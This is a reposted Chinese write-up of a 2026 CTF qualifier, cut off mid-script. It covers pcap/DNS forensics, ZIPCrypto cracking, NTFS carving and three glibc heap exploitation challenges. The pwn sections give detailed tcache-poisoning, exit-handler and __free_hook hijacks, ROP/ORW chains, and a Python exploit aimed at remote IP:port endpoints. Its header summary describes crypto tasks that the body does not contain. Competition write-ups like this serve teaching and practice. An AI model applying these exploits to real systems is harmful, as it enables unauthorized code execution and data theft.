AIxCybersecurityChallenge2026初赛Writeup

admin 2026-07-10 06:26:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文是AIxCybersecurityChallenge2026初赛的Writeup,由N1bbl3团队分享。内容涵盖三个Crypto题目的解题思路:CardSeed通过爆破种子空间和逆向shuffle还原flag;Drift利用RSA泄露的近似phi值,通过GCD分解N并解密;LuckyRand分析随机数生成器规律以恢复上下文。文章提供了详细的加密流程分析、关键弱点识别及可复现的解题脚本,展示了密码学攻击中的爆破、数学技巧和逆向方法。 综合评分: 87 文章分类: 漏洞分析,CTF,实战经验


1. 提取 DNS 分片

用 tshark 只导出 DNS query name:

tshark -r Mysterious_Code.pcapng \
  -Y 'dns.flags.response == 0 && dns.qry.name contains "hackg.fun"' \
  -T fields -e dns.qry.name > qnames.txt

本题有 EOF-... 作为结束标记,真正的数据分片格式是:

<index>-<base32_payload>.hackg.fun

注意不能直接按文本排序,因为 10 会排在 2 前面,必须按数字前缀排序。

2. Base32 还原 Base58 文本

将所有分片按数字序号拼接,再补齐 Base32 padding 解码。得到的内容不是二进制文件,而是一串 Base58 文本,开头类似:

4esgTWphJRtY1TgZmu4PhftBgVguEzFc...

处理脚本:

import&nbsp;base64
import&nbsp;re
from&nbsp;pathlib&nbsp;import&nbsp;Path

chunks = {}
for&nbsp;line&nbsp;in&nbsp;Path("qnames.txt").read_text().splitlines():
&nbsp; &nbsp; qname = line.strip().rstrip(".")
&nbsp; &nbsp; m = re.match(r"^(\d+)-([A-Z2-7]+)\.hackg\.fun$", qname)
&nbsp; &nbsp;&nbsp;if&nbsp;m:
&nbsp; &nbsp; &nbsp; &nbsp; chunks[int(m.group(1))] = m.group(2)

b32 =&nbsp;"".join(chunks[i]&nbsp;for&nbsp;i&nbsp;in&nbsp;sorted(chunks))
b32 +=&nbsp;"="&nbsp;* ((8&nbsp;- len(b32) %&nbsp;8) %&nbsp;8)

b58 = base64.b32decode(b32)
Path("recovered.b58").write_bytes(b58)

3. 自定义 Base58 解码

这里不是常见的 Base64/Base62,而是自定义 Base58 字母表:

123456789abcdefghjklmnpqrstuvwxyzABCDEFGHIJKMNOPQRSTUVWXYZ

继续解码:

from&nbsp;pathlib&nbsp;import&nbsp;Path

alphabet =&nbsp;"123456789abcdefghjklmnpqrstuvwxyzABCDEFGHIJKMNOPQRSTUVWXYZ"
s = Path("recovered.b58").read_text().strip()

n =&nbsp;0
for&nbsp;ch&nbsp;in&nbsp;s:
&nbsp; &nbsp; n = n *&nbsp;58&nbsp;+ alphabet.index(ch)

out = n.to_bytes((n.bit_length() +&nbsp;7) //&nbsp;8,&nbsp;"big")
out =&nbsp;b"\x00"&nbsp;* (len(s) - len(s.lstrip(alphabet[0]))) + out
Path("encrypted.zip").write_bytes(out)

解出来的文件头为 ZIP:

50 4b 03 04 ...

本地验证时对应当前目录里的 ord_DLU.bin。ZIP 里只有一个文件 secret.png,压缩方式是 store,但 ZIP 的加密标志位为 1,说明用了传统 ZIPCrypto。

4. bkcrack 破解 ZIPCrypto

ZIP 中的文件名就是 secret.png,且压缩方式为 store,所以文件明文开头就是 PNG 文件头。PNG 固定头可以作为已知明文:

89504e470d0a1a0a0000000d49484452

用 bkcrack 恢复 key:

bkcrack -C encrypted.zip -c secret.png \
&nbsp; -x 0 89504e470d0a1a0a0000000d49484452

拿到输出的三段 key 后解密整个 ZIP:

bkcrack -C encrypted.zip -k <key0> <key1> <key2> -D decrypted.zip

再正常解压:

7z x decrypted.zip -odecrypted_out

解压后得到:

decrypted_out/secret.png

图片尺寸为 1460 x 228,内容是一行 ASCII-art flag。到这里题目核心已经完成,打开图片读取即可。

flag{Crack_is_to_ezzzzzzzz}

ntfs_dump

题目分析 附件解压后得到 ntfs_dump.bin,开头是 NTFS boot sector:

00000003: NTFS

但继续看会发现这不是正常 NTFS 文件系统。0x200 后开始大量重复 55 字节干扰模 式:

PDF-GIF87aGIF89a\x7fELFMZRIFFOggSfLaC…

里面故意塞了 PDF/GIF/ELF/MZ/RIFF/Ogg/FLAC/PK/PNG/JPEG 等文件头,用来误导 binwalk / foremost 之类工具。

隐藏数据恢复 过滤周期填充后,可以看到几个真实异常块。关键有两个长度都是 2177 的块:

0x591090 len 2177 0x5af00 len 2177

第二段末尾能看到 zip 中央目录和 EOCD:

PK 01 02 … text.txt PK 05 06 …

中央目录显示 zip 内有一个 text.txt,大小 0x1090 = 4240 字节。第一个块附近 的 0x59108c 有 zip local header 的 PK\x03\x04,但中间夹了 4 字节干扰,需要 跳过。

最终重组 zip:

part1 = img[0x59108c:0x591090] + img[0x591094:0x591911] part2 = img[0x5af00:0x5b781] zbytes = part1 + part2

读出 text.txt 后内容仍然像随机数据。观察长度:

4240 = 265 * 16

按 16 路反交织:

plain = b”.join(payload[i::16] for i in range(16))

开头直接出现 flag。

Solve 脚本

from pathlib import Path import zipfile, io, re

zip_path = next(Path(".").glob("ntfs_dump_*.zip"))

with zipfile.ZipFile(zip_path,&nbsp;"r") as zf: img = zf.read("ntfs_dump.bin")

part1 = img[0x59108c:0x591090] + img[0x591094:0x591911] part2 = img[0x5af00:0x5b781] zbytes = part1 + part2

with zipfile.ZipFile(io.BytesIO(zbytes)) as zf: payload = zf.read("text.txt")

plain = b"".join(payload[i::16]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(16)) flag = re.search(rb"FLAG{}+}", plain).group().decode()&nbsp;print(flag)

FLAG{DE6DDD7A-5D57-415A-99D7-6C0CE3F688BC}

Riddler

目录中有两个主要文件:

  • secret.txt:提示文本
  • flag.zip:加密压缩包,内部只有 flag.txt

先查看压缩包结构,可知 flag.txt 未压缩大小为 38 字节,符合 flag{...} 格式。

import zipfile
z = zipfile.ZipFile("flag.zip")
for&nbsp;info&nbsp;in&nbsp;z.infolist():
&nbsp; &nbsp;&nbsp;print(info.filename, info.file_size, info.compress_size, hex(info.flag_bits))

flag_bits 中包含加密标志,说明需要从 secret.txt 中得到密码。

分析 secret.txt

核心提示是 7 行形如:

A is to B, ? is to C

例如:

بعدكـ is to رباعيه, ? is to love-buzz
الْحي is to toyota, ? is to الغيـرة
feriass is to dham, ? is to much
...

文本中还提示:

  • unfinished language experiment
  • not every sentence is useful
  • not hidden by frequency analysis, base conversion, or direct translation
  • similar-looking patterns can be accidental

这些内容说明重点不是翻译、词频、进制转换或直接字符串处理,而是“语言实验”里的词关系。

这些词包含多语言、错拼、连字符和社交媒体风格词,比较符合 GloVe Twitter 词表。因此按词向量类比处理。

词向量类比

每一行可理解为:

A : B = ? : C

等价于求:

result = vector(B) – vector(A) + vector(C)

然后在词表中找余弦相似度最高的词。

使用 glove-twitter-25 模型计算得到:

| A | B | C | result | | — | — | — | — | | بعدكـ | رباعيه | love-buzz | ctf | | الْحي | toyota | الغيـرة | maybe | | feriass | dham | much | you | | ميسيnn | دعواتكمn | were | are | | يصيير | newt | ta | ai | | لأمانة | roan | viral | master | | elain | omán | dy | ado |

拼接 7 个结果:

ctfmaybeyouareaimasterado

这就是压缩包密码。

解密

import zipfile

password = b"ctfmaybeyouareaimasterado"
with zipfile.ZipFile("flag.zip") as z:
&nbsp; &nbsp;&nbsp;print(z.read("flag.txt",&nbsp;pwd=password).decode())

flag{39fc0ee0f9da4fa397631f0dcba31555}

Pwn

DynamicExitBistro

題目描述

Welcome to DynamicExitBistro. You may order anything on the menu, but the exit opens only to “qualified” guests approved by the CNN. 欢迎光临 DynamicExitBistro。这里的菜品可以自由点单,但出口只向通过 CNN 认证的“合格”客人开放。

题目给了目标程序 exit_bistro、配套 libc.so.6 和 ld-linux-x86-64.so.2。运行方式:

./ld-linux-x86-64.so.2 --library-path . ./exit_bistro

远端:

nc 36.213.142.158 20781

保护情况:

  • 64-bit PIE
  • NX enabled
  • Canary enabled
  • Full RELRO
  • glibc 2.41
  • binary/libc 带 IBT/SHSTK note

本题最终利用脚本见 exploit.py,不依赖 pwntools 或 numpy

功能逆向

程序维护 32 个 ticket,每个 ticket 大致结构如下:

struct ticket {
&nbsp; &nbsp; void *ptr;
&nbsp; &nbsp; size_t size;
&nbsp; &nbsp; int state; &nbsp; // 0 empty, 1 active, 2 closed
&nbsp; &nbsp; int tag;
};

主要菜单功能:

  • reserve table: 用 calloc(1, size) 分配 active ticket。
  • rush reservation: 用 malloc(size) 分配 active ticket。
  • revise active order: 对 active ticket 执行 read(0, ptr, size)
  • review ticket: active ticket 输出 size 字节;closed ticket 只输出 8 字节。
  • close ticket: 对 ticket 的 ptr 执行 free。active ticket 会被置为 closed,但 ptr 不清空。
  • restamp closed ticket: 对 closed ticket 写 *(uint64_t *)(ptr + 8) = stamp
  • submit model head: 提交 8 个 signed heads,通过后开放隐藏菜单 8。
  • service ritual: 只影响内部 seed,不是最终控制流关键点。

漏洞点

核心问题是 close ticket 后没有清空 ptr,因此 closed ticket 仍然可被 review 和 restamp 使用。

1. UAF Read

ticket 被 free 后仍可 review。小 chunk 进入 tcache 后,前 8 字节是 safe-linking 后的 fd

当 tcache bin 里只有一个 chunk 时:

fd = NULL ^ (chunk_addr >> 12)

因此 free 后 review 8 字节即可泄露:

heap_key = heap_base >> 12

2. UAF Write

restamp closed ticket 会写 free chunk 的 ptr + 8

glibc tcache double-free 检查依赖 freed chunk 的 key 字段,也就是用户区 ptr + 8。通过 restamp 将其改成 0,可以绕过 double-free 检查。

3. Tcache Poisoning

单纯 double-free 两次不够,因为 glibc 2.41 tcache 有 count 检查。利用时需要先额外放入一个同 size chunk,把 count 撑到 3:

free(B)
free(A)
restamp(A, 0)
free(A)

tcache: A -> A -> B
count = 3

随后:

malloc() -> A
write A->fd = target ^ heap_key
malloc() -> A
malloc() -> target

这样就得到任意 16 字节对齐地址上的 active ticket。配合:

  • review: 任意读
  • revise: 任意写

模型门绕过

程序启动时会随机生成 8 个 signed heads,范围大致是 [-40, 40],并生成 32 个模型输出。模型权重在 .rodata 的 0x3320,公开文件 model_public/public.json 给出了模数和噪声范围:

{
&nbsp;&nbsp;"q": 65537,
&nbsp;&nbsp;"noise_bound": 2,
&nbsp;&nbsp;"num_samples": 32,
&nbsp;&nbsp;"secret_bound": 40
}

程序内部模型输出位于堆上初始 malloc(0x110) 的用户区偏移 heap_base + 0x2b0。通过前面的 tcache poisoning,将一个 active ticket 指向该地址,review 0x110 字节即可读取 32 个输出。

注意:tcache 取出伪造 chunk 时会写 target + 8 = 0,所以第 1 个输出被破坏。解模型时忽略 outputs[1]

恢复方法:

  1. 取 8 条未损坏方程。
  2. 枚举每条方程噪声 [-2, 2],共 5^8 = 390625 种。
  3. 在模 65537 下矩阵求逆,得到 8 维 secret。
  4. 检查 secret 是否都在 [-40, 40],并用剩余方程校验噪声范围。

得到 head 后提交菜单 0,即可进入隐藏菜单 8。

Libc 泄露

分配一个大于 tcache 范围的 chunk,再在后面放一个 guard chunk,释放前者进入 unsorted bin:

rush(20, 0x500)
rush(21, 0x30)
close(20)
review(20, 8)

泄出的 fd 指向 main_arena 附近,本题 glibc 2.41 中偏移为:

libc_base = leak - 0x1d3d00

最终控制流劫持

glibc 2.41 中 __free_hook 不再适合作为劫持点。本题选择覆盖 libc 的 exit handler。

exit() 会调用:

__run_exit_handlers(…, &__exit_funcs, …)

libc 中的 initial exit handler 地址:

initial = libc_base + 0x1d51e0

handler 结构中函数指针使用 pointer mangling:

mangled = rol64(func ^ pointer_guard, 17)

pointer guard 可以从栈上的 AT_RANDOM 获取:

  1. 任意读 environ = libc_base + 0x1db018,得到栈地址。
  2. 从该栈地址附近向高地址扫描 auxv。
  3. 找到类型 25,即 AT_RANDOM
  4. AT_RANDOM + 8 处为 pointer guard。

然后伪造 initial handler:

next &nbsp; &nbsp;= 0
idx &nbsp; &nbsp; = 1
flavor &nbsp;= 4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// ef_cxa
func &nbsp; &nbsp;= rol64(system ^ pointer_guard, 17)
arg &nbsp; &nbsp; =&nbsp;"/bin/sh"
dso &nbsp; &nbsp; = 0

写入:

libc_base + 0x1d51e0

最后选择菜单 6 调用 exit,触发:

system("/bin/sh")

远端结果

执行:

printf&nbsp;'cat flag; cat /home/ctf/flag; exit\n'&nbsp;| ./exploit.py 36.213.142.158 20781

flag{1jslhgsbrjcd7q1udk4j7jq5ihs5ii0m}

HeapORW

附件包含目标程序 hris、对应 libc.so.6 和利用脚本 employee_exploit.py。目标是一个员工信息管理程序,菜单功能包括新增、删除、修改、查看员工信息。

保护情况:

Arch:   amd64 RELRO:  Full RELRO Canary: Enable NX:     Enable PIE:    Enable

程序保护基本全开,不能直接改 GOT,也不能执行栈上 shellcode。程序还启用了 seccomp,过滤规则会拦截 execve,因此最终不能直接 system("/bin/sh"),需要使用 ORW 链读取 flag。

功能分析

程序维护两个全局数组:

char *employee_list[7];
int size_list[7];

主要功能如下:

  • add_employee:输入 id 和 size,要求 id 在 0-6,size 在 1-1024,然后 malloc(size) 并用 read(0, ptr, size) 读入内容。
  • remove_employee:释放对应 chunk,并把指针和 size 清零。
  • modify_employee:修改对应员工信息。
  • show_employee:使用 %s 打印员工信息。

关键漏洞在 modify_employee

read(0, employee_list[id], size_list[id] + 1);

修改时比原始申请大小多读 1 字节,形成 off-by-one overflow。

同时,show_employee 使用 %s 输出堆内容:

printf("Employee's personal information: %s\n", employee_list[id]);

因为新增和修改都不会自动补 \x00,所以可以利用残留堆元数据泄漏 heap/libc 地址。

利用思路

整体利用链如下:

  1. 填满 0x400 tcache bin,利用残留 tcache fd 泄漏 heap 地址。
  2. 利用 off-by-one 清掉相邻 chunk 的 PREV_INUSE 位。
  3. 在前一个 chunk 的用户区伪造 fake chunk,触发 backward consolidation。
  4. 让伪造 chunk 进入 unsorted bin,通过 show 泄漏 main_arena,计算 libc 基址。
  5. 从 unsorted chunk 中切出一个 0x410 chunk,释放后进入 tcache。
  6. 利用仍可控的旧指针修改 tcache fd,完成 tcache poisoning,把下一次分配劫持到 __free_hook
  7. 写 __free_hook = setcontext + 53,在堆上布置 ORW ROP 链。
  8. 调用 free(ptr) 触发 setcontext+53,执行 open/read/write 读取 flag。

泄漏 heap 地址

脚本首先申请并释放 7 个 0x3f8 大小的 chunk:

for&nbsp;i&nbsp;in&nbsp;range(7):
&nbsp; &nbsp; c.add(i, 0x3F8, b"A"&nbsp;* 0x3F8)
for&nbsp;i&nbsp;in&nbsp;range(7):
&nbsp; &nbsp; c.remove(i)

0x3f8 请求在 glibc 2.27 下对应 0x400 chunk size。释放 7 次后,0x400 tcache bin 被填满。

随后重新申请一个 0x3f8 chunk,只写入 1 字节:

c.add(0, 0x3F8, b"\x60")
heap_response = c.show(0)

tcache chunk 被重新分配出来后,用户区开头仍残留原来的 tcache fd 指针。由于只覆盖了最低 1 字节,后续字节还保留为堆地址。show 使用 %s 输出,可以读出这部分残留指针。

脚本中根据固定堆布局计算 heap base:

leaked_heap_node = u64(heap_blob[:6])
heap = leaked_heap_node - 0x1660

这里的 0x1660 是脚本根据本题二进制和 glibc 2.27 环境确定的 tcache fd 指针相对 heap base 的偏移。

构造 fake chunk 并触发 backward consolidation

泄漏 heap 后,脚本重新布置 3 个相邻 chunk:

c.add(0, 0xF8, b"a"&nbsp;* 0xF8) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# A
c.add(1, 0x400, b"b"&nbsp;* 0x3F0 + p64(0) + p64(0x21)) &nbsp;&nbsp;# B
c.add(2, 0x18, b"c"&nbsp;* 0x18) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# C

其中:

  • A:大小 0xf8,实际 chunk size 为 0x100,用于放置 fake chunk。
  • B:大小 0x400,实际 chunk size 为 0x410,后续作为被破坏的 victim。
  • C:防止 B 和 top chunk 发生不期望的合并。

脚本在 A 的用户区伪造 chunk 头:

fake_chunk = heap + 0x1E60
forge = p64(0) + p64(0xF1) + p64(fake_chunk) + p64(fake_chunk)
forge = forge.ljust(0xF0, b"P") + p64(0xF0) + b"\x00"
c.modify(0, forge)

这段 payload 做了几件事:

  • 在 A 的用户区开头伪造一个 size 为 0xf0 的 free chunk。
  • fd 和 bk 都指向 fake chunk 自身,用于通过 unlink 检查。
  • 在偏移 0xf0 处覆盖 B 的 prev_size = 0xf0
  • 最后 1 字节 off-by-one 覆盖 B 的 size 低字节,把 0x411 改成 0x400,从而清除 PREV_INUSE 位。

之后释放 B:

c.remove(1)

因为前面已经填满 0x400 tcache bin,被篡改 size 后的 B 不会进入 tcache,而是走正常 free 流程。glibc 发现 B 的 PREV_INUSE 被清零,会根据 prev_size = 0xf0 向前找到 fake chunk,并执行 backward consolidation。最终得到一个起始位置在 fake chunk 的 unsorted bin chunk。

此时 index 0 的指针仍然指向 fake chunk 所在区域,因此可以继续通过 index 0 操作这个已经进入 unsorted bin 的 chunk。

泄漏 libc 地址

unsorted bin chunk 的 fd/bk 会指向 main_arena 附近。为了让 %s 输出能读到 fd,脚本先把 fake chunk 开头 16 字节改成非零字符,同时保留后面的 fd/bk

c.modify(0, b"Q"&nbsp;* 16)
libc_response = c.show(0)
main_arena_pointer = u64(libc_blob[16:22])
libc = main_arena_pointer - 0x3EBCA0

0x3EBCA0 是题目所给 libc.so.6 中 unsorted bin 泄漏指针对应的固定偏移。由此得到 libc 基址。

tcache poisoning 劫持 __free_hook

拿到 libc base 后,脚本先恢复合并后 chunk 的大小:

c.modify(0, p64(0) + p64(0x4F1))

fake chunk 大小 0xf0,B 被改后的大小 0x400,合并后总大小为 0x4f0,带 PREV_INUSE 位即 0x4f1

随后从这个 unsorted chunk 中切出一个 0x410 chunk,并释放到 tcache:

c.add(1, 0x400, b"R"&nbsp;* 0x20)
c.remove(1)

此时释放后的 chunk 用户区开头保存 tcache fd。index 0 仍然指向 fake chunk 起始位置,正好可以覆盖这个 tcache fd:

free_hook = libc + 0x3ED8E8
c.modify(0, p64(0) + p64(0x411) + p64(free_hook))

glibc 2.27 没有 safe-linking,因此 tcache fd 可以直接写成目标地址。之后连续申请两次 0x400

c.add(1, 0x400, frame) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 取回原 tcache chunk,写入 setcontext frame 和 ROP
c.add(3, 0x400, p64(setcontext_53))&nbsp;# 分配到 __free_hook,写入 setcontext+53

第二次申请会返回 __free_hook,从而把 __free_hook 改成 setcontext + 53

构造 ORW ROP 链

由于 seccomp 禁止 execve,不能直接 getshell。脚本选择 ORW:

open(flag_path, O_RDONLY)
read(3, buf, 0x100)
write(1, buf, 0x100)
exit()

关键 libc 偏移如下:

SETCONTEXT_53 = 0x52085
OPEN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= 0x10FBF0
READ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= 0x110020
WRITE &nbsp; &nbsp; &nbsp; &nbsp; = 0x1100F0
EXIT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= 0x43110
POP_RDI &nbsp; &nbsp; &nbsp; = 0x2164F
RET &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = 0x21650
POP_RSI &nbsp; &nbsp; &nbsp; = 0x23A6A
POP_RDX &nbsp; &nbsp; &nbsp; = 0x130516

触发 free(ptr) 时,free 会调用 __free_hook(ptr),因此进入 setcontext+53 时 rdi 正好是堆上可控 frame 的地址。

脚本利用 setcontext+53 的行为:

  • [rdi + 0xa0] 设置为新的 rsp
  • [rdi + 0xa8] 设置为第一条执行的 gadget。

于是将 frame 布置为:

frame[0xA0:0xA8] = p64(chain_addr)
frame[0xA8:0xB0] = p64(pop_rdi)
frame[0x180:...] = flag_path + b"\x00"
frame[0x208:...] = rop_chain

最终释放该 chunk:

c.remove(1, wait_for_menu=False)

程序执行:

free(chunk)
&nbsp; -> __free_hook(chunk)
&nbsp; -> setcontext+53
&nbsp; -> pivot 到堆上 ROP
&nbsp; -> open/read/write 输出 flag

flag{ljsm68ne7pmj40ludk4j7jq5qjs5ii8o}

ProtoLeak

A message-driven service handles user data through a structured interface, but its internal state is not as well protected as it appears. Study the service behavior and find a way to retrieve the flag. 一個以結構化介面處理使用者資料的服務,看似運作正常,但內部狀態並沒有想像中安全。請研究服務行為,想辦法取得 flag。 一个以结构化接口处理用户数据的服务,看似运行正常,但内部状态并没有想象中安全。请研

题目给了 pwnlibc.so.6ld-linux-x86-64.so.2 和 libprotobuf-c.so.1.0.0

Arch:     amd64 PIE:      enabled RELRO:    Full RELRO NX:       enabled Canary:   enabled

程序是 protobuf-c 封装的堆菜单。输入格式为:

8 bytes little endian length || protobuf payload

根据符号和访问偏移可以还原消息结构:

message Msg {
&nbsp; enum Menu {
&nbsp; &nbsp; create = 0;
&nbsp; &nbsp; delete = 1;
&nbsp; &nbsp; edit &nbsp; = 2;
&nbsp; &nbsp; show &nbsp; = 3;
&nbsp; &nbsp;&nbsp;exit&nbsp; &nbsp;= 4;
&nbsp; }

&nbsp; Menu choice = 1;
&nbsp; uint64 index = 2;
&nbsp; bytes content = 3;
}

全局数组在 PIE 内的偏移:

content &nbsp; &nbsp; &nbsp;= pie + 0x4080
content_size = pie + 0x4180
used &nbsp; &nbsp; &nbsp; &nbsp; = pie + 0x4280

漏洞点

UAF write

delete(index) 会:

free(content[index]);
used[index] = 0;

但是没有清空 content[index] 和 content_size[index]

edit(index, size, data) 只检查:

index <= 0x1f
size <= content_size[index]

没有检查 used[index],所以释放后仍可以通过 edit 写 freed chunk,形成 UAF write。

short read 造成残留数据被 protobuf 解析

主循环中两次 read 都没有检查返回值:

read(0, &size, 8);
buf = malloc(size);
read(0, buf, size);
msg = msg__msg__unpack(NULL, size, buf);

远端是 socket,read(fd, buf, size) 可以短读。只要声明一个较大的 protobuf 长度,但实际只发送前几个字节,后面的内容会保留 malloc chunk 中的旧数据。

protobuf 解析时仍按声明长度 size 处理这块内存,因此可以用旧 chunk 里的 libc/heap/PIE 指针构造泄露。

另外 protobuf 允许重复字段,所以可以用大量合法的 choice=0 字段作为 padding,把 content 字段的数据起点移动到旧 chunk 的指定偏移。

泄露

PIE leak

先发送一个长度为 0x501 的正常 raw protobuf 包,让堆上残留大量 protobuf descriptor 指针。

随后发送一个短读包,将 content 字段的数据起点移动到旧 chunk 中含有 msg__msg__field_descriptors 指针的位置。

show(1) 后,前 8 字节为:

pie + 0x3a40

所以:

pie = leak - 0x3a40

libc 和 heap leak

清理前两个槽位后,申请 8 个 0x400 note,再释放 7 个,使后续 short-read create 从 unsorted 相关 chunk 中复制出残留指针。

发送 content_len = 0x3ef 的短读 create,再 show(0)

在最终 exploit 的堆布局下:

libc = u64(leak[5:13]) &nbsp;- 0x21b0d0
heap = u64(leak[13:21]) - 0x2820

任意读写

最终流程中,再申请两个 0x2e8 chunk,其用户区偏移稳定为:

slot1 = heap + 0x3450
slot2 = heap + 0x3740

释放 slot1、slot2 后,通过 UAF 修改 slot2 的 tcache forward pointer:

target = pie + 0x4080 &nbsp; &nbsp; &nbsp;# content[]
encoded = target ^ ((heap + 0x3740) >> 12)
edit(2, p64(encoded))

再触发一次同 size 分配,最终可以覆盖 .bss 上的 content[]content_size[] 和 used[],构造:

content[8] &nbsp; &nbsp; &nbsp;= arbitrary_read_addr
content[9] &nbsp; &nbsp; &nbsp;= pie + 0x4080
content_size[8] = read_size
content_size[9] = 0x2e8
used[8] = used[9] = 1

这样:

show(8) &nbsp; &nbsp; &nbsp; -> arbitrary&nbsp;read
edit(9, ...) &nbsp;-> 改写全局表,更新 arbitrary&nbsp;read&nbsp;目标

先读 libc + environ 泄露栈地址:

environ = libc + 0x222200

再从 environ 附近向下扫描,找到当前 show() 返回到 main 的地址:

pie + 0x18bf

这个栈地址就是后续 edit() 返回时可以劫持的返回地址槽。

ROP

本地和远端均可直接 ORW。最终链:

openat(AT_FDCWD,&nbsp;"/flag", 0)
read(3, heap_buf, 0x100)
write(1, heap_buf, 0x100)

使用 libc gadget:

pop rdi; ret &nbsp; &nbsp; &nbsp;= libc + 0x2a3e5
pop rsi; ret &nbsp; &nbsp; &nbsp;= libc + 0x2be51
pop rdx; pop rbx; ret = libc + 0x904a9
pop rax; ret &nbsp; &nbsp; &nbsp;= libc + 0x45eb0
syscall; ret &nbsp; &nbsp; &nbsp;= libc + 0x91316
ret &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = libc + 0x29139

Exploit

import socket
import struct
import time
import select

HOST =&nbsp;"36.213.142.14"
PORT = 29343

p64 = lambda x: struct.pack("<Q", x)
u64 = lambda b: struct.unpack("<Q", b.ljust(8, b"\0"))[0]

def varint(x):
&nbsp; &nbsp; out = bytearray()
&nbsp; &nbsp;&nbsp;while&nbsp;x >= 0x80:
&nbsp; &nbsp; &nbsp; &nbsp; out.append((x & 0x7f) | 0x80)
&nbsp; &nbsp; &nbsp; &nbsp; x >>= 7
&nbsp; &nbsp; out.append(x)
&nbsp; &nbsp;&nbsp;return&nbsp;bytes(out)

def raw(payload):
&nbsp; &nbsp;&nbsp;return&nbsp;p64(len(payload)) + payload

def msg(choice, index=0, content=b""):
&nbsp; &nbsp; payload = (
&nbsp; &nbsp; &nbsp; &nbsp; b"\x08"&nbsp;+ varint(choice) +
&nbsp; &nbsp; &nbsp; &nbsp; b"\x10"&nbsp;+ varint(index) +
&nbsp; &nbsp; &nbsp; &nbsp; b"\x1a"&nbsp;+ varint(len(content)) + content
&nbsp; &nbsp; )
&nbsp; &nbsp;&nbsp;return&nbsp;raw(payload)

def recv_some(io, timeout=0.25):
&nbsp; &nbsp; end = time.time() + timeout
&nbsp; &nbsp; data = b""
&nbsp; &nbsp; io.setblocking(False)
&nbsp; &nbsp;&nbsp;while&nbsp;time.time() < end:
&nbsp; &nbsp; &nbsp; &nbsp; r, _, _ = select.select([io], [], [], max(0, end - time.time()))
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not r:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk = io.recv(0x10000)
&nbsp; &nbsp; &nbsp; &nbsp; except BlockingIOError:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not chunk:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp; data += chunk
&nbsp; &nbsp; io.setblocking(True)
&nbsp; &nbsp;&nbsp;return&nbsp;data

def send(io, data, timeout=0.25):
&nbsp; &nbsp; io.sendall(data)
&nbsp; &nbsp;&nbsp;return&nbsp;recv_some(io, timeout)

def prep_payload(length=0x501, content_len=0x400):
&nbsp; &nbsp; pre = b"\x1a"&nbsp;+ varint(content_len)
&nbsp; &nbsp; rest = length - len(pre) - content_len
&nbsp; &nbsp;&nbsp;return&nbsp;pre + b"A"&nbsp;* content_len + b"\x08\x00"&nbsp;* (rest // 2) + (b"\x08"if&nbsp;rest & 1&nbsp;else&nbsp;b"")

def pad_choice(n):
&nbsp; &nbsp;&nbsp;if&nbsp;n % 2 == 0:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;b"\x08\x00"&nbsp;* (n // 2)
&nbsp; &nbsp;&nbsp;return&nbsp;b"\x08\x80\x00"&nbsp;+ b"\x08\x00"&nbsp;* ((n - 3) // 2)

def shifted_packet(prefix_len, content_len=0x400):
&nbsp; &nbsp; tag = b"\x1a"&nbsp;+ varint(content_len)
&nbsp; &nbsp;&nbsp;return&nbsp;p64(prefix_len + content_len) + pad_choice(prefix_len - len(tag)) + tag

def short_create(content_len):
&nbsp; &nbsp; pre = b"\x1a"&nbsp;+ varint(content_len)
&nbsp; &nbsp;&nbsp;return&nbsp;p64(len(pre) + content_len) + pre

def fake_table(pie, read_addr, read_size=0x400):
&nbsp; &nbsp; buf = bytearray(0x2e8)

&nbsp; &nbsp; def w(off, value):
&nbsp; &nbsp; &nbsp; &nbsp; buf[off:off + 8] = p64(value)

&nbsp; &nbsp; w(0x40, read_addr) &nbsp; &nbsp; &nbsp;&nbsp;# content[8]
&nbsp; &nbsp; w(0x48, pie + 0x4080) &nbsp; &nbsp;# content[9]
&nbsp; &nbsp; w(0x140, read_size) &nbsp; &nbsp; &nbsp;# content_size[8]
&nbsp; &nbsp; w(0x148, 0x2e8) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# content_size[9]
&nbsp; &nbsp; buf[0x208] = 1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# used[8]
&nbsp; &nbsp; buf[0x209] = 1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# used[9]
&nbsp; &nbsp;&nbsp;return&nbsp;bytes(buf)

def exploit(path=b"/flag"):
&nbsp; &nbsp; io = socket.create_connection((HOST, PORT), timeout=8)

&nbsp; &nbsp;&nbsp;# PIE leak.
&nbsp; &nbsp; send(io, raw(prep_payload()), 0.3)
&nbsp; &nbsp; send(io, shifted_packet(0x128), 0.3)
&nbsp; &nbsp; pie_leak = send(io, msg(3, 1), 0.3)
&nbsp; &nbsp; pie = u64(pie_leak[:8]) - 0x3a40

&nbsp; &nbsp;&nbsp;# Clean slots used by PIE leak.
&nbsp; &nbsp; send(io, msg(1, 0), 0.2)
&nbsp; &nbsp; send(io, msg(1, 1), 0.2)

&nbsp; &nbsp;&nbsp;# libc + heap leak.
&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(8):
